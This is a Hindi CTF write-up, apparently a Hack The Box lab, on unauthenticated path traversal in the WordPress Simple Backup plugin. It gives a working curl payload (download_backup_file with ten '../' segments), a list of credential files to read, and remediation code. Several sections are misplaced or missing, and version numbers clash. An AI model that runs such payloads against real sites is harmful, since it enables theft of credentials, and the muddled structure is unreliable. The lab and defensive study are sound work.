`page=backup_manager` अनुरोध को प्लगइन के एडमिन पेज हैंडलर में भेजता है; `download_backup_file` वह पैरामीटर है जिसे प्लगइन का कोड सीधे पढ़ता है और बिना सत्यापन के फाइलसिस्टम पथ में जोड़ देता है, जिससे निर्देशिका ट्रैवर्सल संभव होता है।

---

### CVSS v3.1 स्कोर

**7.5 - उच्च** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **आक्रमण वेक्टर (AV):** नेटवर्क
- **आक्रमण जटिलता (AC):** निम्न
- **आवश्यक विशेषाधिकार (PR):** कोई नहीं
- **उपयोगकर्ता इंटरैक्शन (UI):** कोई नहीं
- **दायरा (S):** अपरिवर्तित
- **गोपनीयता (C):** उच्च
- **अखंडता (I):** कोई नहीं
- **उपलब्धता (A):** कोई नहीं

---

### व्यावसायिक प्रभाव

**गोपनीयता उल्लंघन:** ⚠️ गंभीर

हमलावर वेब सर्वर के लिए सुलभ किसी भी फ़ाइल को पढ़ सकते हैं, जिनमें शामिल हैं:

| फ़ाइल | प्रभाव | जोखिम स्तर |
|------|--------|------------|
| `/wp-config.php` | डेटाबेस क्रेडेंशियल, सॉल्ट, कुंजियाँ | 🔴 गंभीर |
| `/.env` | API कुंजियाँ, गोपनीय जानकारी, कॉन्फ़िगरेशन | 🔴 गंभीर |
| `/etc/passwd` | उपयोगकर्ता गणना, सिस्टम मैपिंग | 🟠 उच्च |
| SSH कुंजियाँ (`.ssh/id_rsa`) | लैटरल मूवमेंट, सिस्टम एक्सेस | 🔴 गंभीर |
| `/proc/self/environ` | चल रहे एप्लिकेशन की गोपनीय जानकारी | 🟠 उच्च |
| उपयोगकर्ता अपलोड निर्देशिका | निजी फ़ाइलें, मीडिया | 🟠 उच्च |

**नियामक प्रभाव:**
- **GDPR उल्लंघन:** उपयोगकर्ता डेटा तक अनधिकृत पहुँच
- **HIPAA उल्लंघन:** संरक्षित स्वास्थ्य जानकारी का खुलासा
- **PCI-DSS उल्लंघन:** क्रेडिट कार्ड डेटा या भुगतान जानकारी तक पहुँच
- **SOC 2 उल्लंघन:** गोपनीयता आवश्यकता का उल्लंघन

---

### कमजोर कोड पैटर्न

Exploit-DB एडवाइज़री (39883.txt, `searchsploit -x` के माध्यम से पढ़ें — [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png) देखें) प्लगइन के **delete** प्रिमिटिव का दस्तावेज़ीकरण करती है, जो `simple-backup-manager.php` से है:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` सीधे `$_GET['delete_backup_file']` से आता है, जिसमें न तो `basename()` और न ही पथ-परिबद्धता (path-containment) जाँच होती है। `../pizza.txt` पास करने पर `$bk_dir . $filename` का मान `.../simple-backup/../pizza.txt` → `.../pizza.txt` हो जाता है, जो इच्छित बैकअप फ़ोल्डर से बाहर निकल जाता है।

इस अभियान में वास्तव में शोषित **download** प्रिमिटिव (`download_backup_file`) उसी प्लगइन में बिल्कुल वही अनसैनिटाइज़्ड संयोजन (concatenation) पैटर्न अपनाता है, लेकिन फ़ाइल को हटाने के बजाय अनुरोधकर्ता को वापस परोसता है — इसी कारण फ़ाइलसिस्टम रूट से `/flag.txt` प्राप्त किया जा सका (`ABSPATH/simple-backup/` से 10× `../`)।

**समस्या:**
- डायरेक्टरी घटकों को हटाने के लिए `basename()` का उपयोग नहीं किया गया है
- अनुमत फ़ाइलों की कोई व्हाइटलिस्ट नहीं है
- कोई सत्यापन नहीं कि `realpath()` `ABSPATH."simple-backup/"` के भीतर ही रहता है
- उपयोगकर्ता इनपुट का फ़ाइल पथ में सीधे संयोजन
- फ़ाइल परोसने से पहले `current_user_can()` / प्रमाणीकरण जाँच नहीं — हैंडलर प्लगइन लोड होने पर चलता है, WordPress के अपने `wp-admin` प्रमाणीकरण गेट से पहले, इसलिए यह **बिना लॉग इन किए** भी पहुँच योग्य है

---

### प्रूफ ऑफ कॉन्सेप्ट

#### **चरण 1: प्रारंभिक पहुँच — एप्लिकेशन पहचान**

ब्राउज़र के माध्यम से सीधे लक्ष्य से कनेक्ट किया गया (`http://154.57.164.73:30706/`)। WordPress इंस्टॉलेशन का शीर्षक **"GETTING STARTED"** है, और होमपेज पर एक सार्वजनिक ब्लॉग पोस्ट में प्लगइन का सटीक नाम और संस्करण सादे पाठ में बताया गया है: **"Simple Backup Plugin 2.7.10 for WordPress"** — कमजोर घटक की पहचान (fingerprint) करने के लिए किसी एन्यूमरेशन टूल की भी आवश्यकता नहीं थी।

![प्रारंभिक पहुँच - WordPress होमपेज पर प्लगइन संस्करण खुलासा](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **चरण 2: सेवा फ़िंगरप्रिंटिंग**```bash
whatweb http://154.57.164.73:30706/

**परिणाम:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

एडवाइजरी `delete_backup_file` पैरामीटर के माध्यम से बिना प्रमाणीकरण के **Arbitrary File Deletion** का दस्तावेज़ीकरण करती है, और नोट करती है कि `simple-backup/` के अंतर्गत बैकअप फ़ाइलें (और, उसी बिना सैनिटाइज़ किए गए कोड पथ के माध्यम से, `download_backup_file` के ज़रिए मनमानी फ़ाइलें) बिना प्रमाणीकरण के प्राप्त की जा सकती हैं।

![Vulnerability Research - Exploit-DB PoC 39883.txt read via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **चरण 4: शोषण — `download_backup_file` के माध्यम से पाथ ट्रैवर्सल**

प्लगइन के एडमिन पेज रूटिंग से पहचाना गया संवेदनशील एंडपॉइंट:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (इस मूल्यांकन में प्रयुक्त):** payload URL को ब्राउज़र एड्रेस बार में सीधे नेविगेट किया गया था। किसी लॉगिन की आवश्यकता नहीं थी — ब्राउज़र ने रिज़ॉल्व किए गए `flag.txt` की स्वचालित फ़ाइल डाउनलोड ट्रिगर की।

![एक्सप्लॉइटेशन - ब्राउज़र एड्रेस बार में पाथ ट्रैवर्सल पेलोड, flag.txt डाउनलोड हुआ](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**हेडलेस समतुल्य:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### प्रभाव सत्यापन

✅ **गोपनीयता से समझौता:** वेब सर्वर प्रक्रिया द्वारा पठनीय कोई भी फ़ाइल सुलभ है
✅ **कोई प्रमाणीकरण आवश्यक नहीं:** बिना प्रमाणीकरण वाले उपयोगकर्ता शोषण कर सकते हैं
✅ **कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं:** सीधे HTTP अनुरोध से शोषण
✅ **दोहराने योग्य और विश्वसनीय:** सभी कमजोर संस्करणों पर कार्य करता है
✅ **महत्वपूर्ण व्यावसायिक डेटा जोखिम में:** कॉन्फ़िगरेशन फ़ाइलें, क्रेडेंशियल्स, उपयोगकर्ता डेटा उजागर

---

## निवारण

### **विकल्प 1: इनपुट व्हाइटलिस्ट (अनुशंसित)**

केवल फ़ाइलों की पूर्व-परिभाषित सूची से डाउनलोड की अनुमति दें:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**लाभ:**
- सिमलिंक और जटिल पथों को संभालता है
- कंटेनमेंट की स्वचालित रूप से पुष्टि करता है
- व्हाइटलिस्ट की तुलना में अधिक लचीला

---

### **विकल्प 3: केवल फ़ाइलनाम के लिए basename() का उपयोग करें**

केवल फ़ाइलनाम घटक निकालें:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**फ़ाइल सिस्टम अनुमतियाँ:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**अपडेट प्रबंधन:**

1. सिंपल बैकअप प्लगइन को अक्षम करें या हटाएँ
2. सुरक्षा ऑडिट के साथ स्वीकृत बैकअप समाधान स्थापित करें
3. वर्डप्रेस को नवीनतम संस्करण में अपडेट करें
4. सभी प्लगइन्स को नवीनतम संस्करणों में अपडेट करें
5. PHP को सुरक्षा पैच के साथ 8.0+ में अपडेट करें

---

## आक्रमण श्रृंखला```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘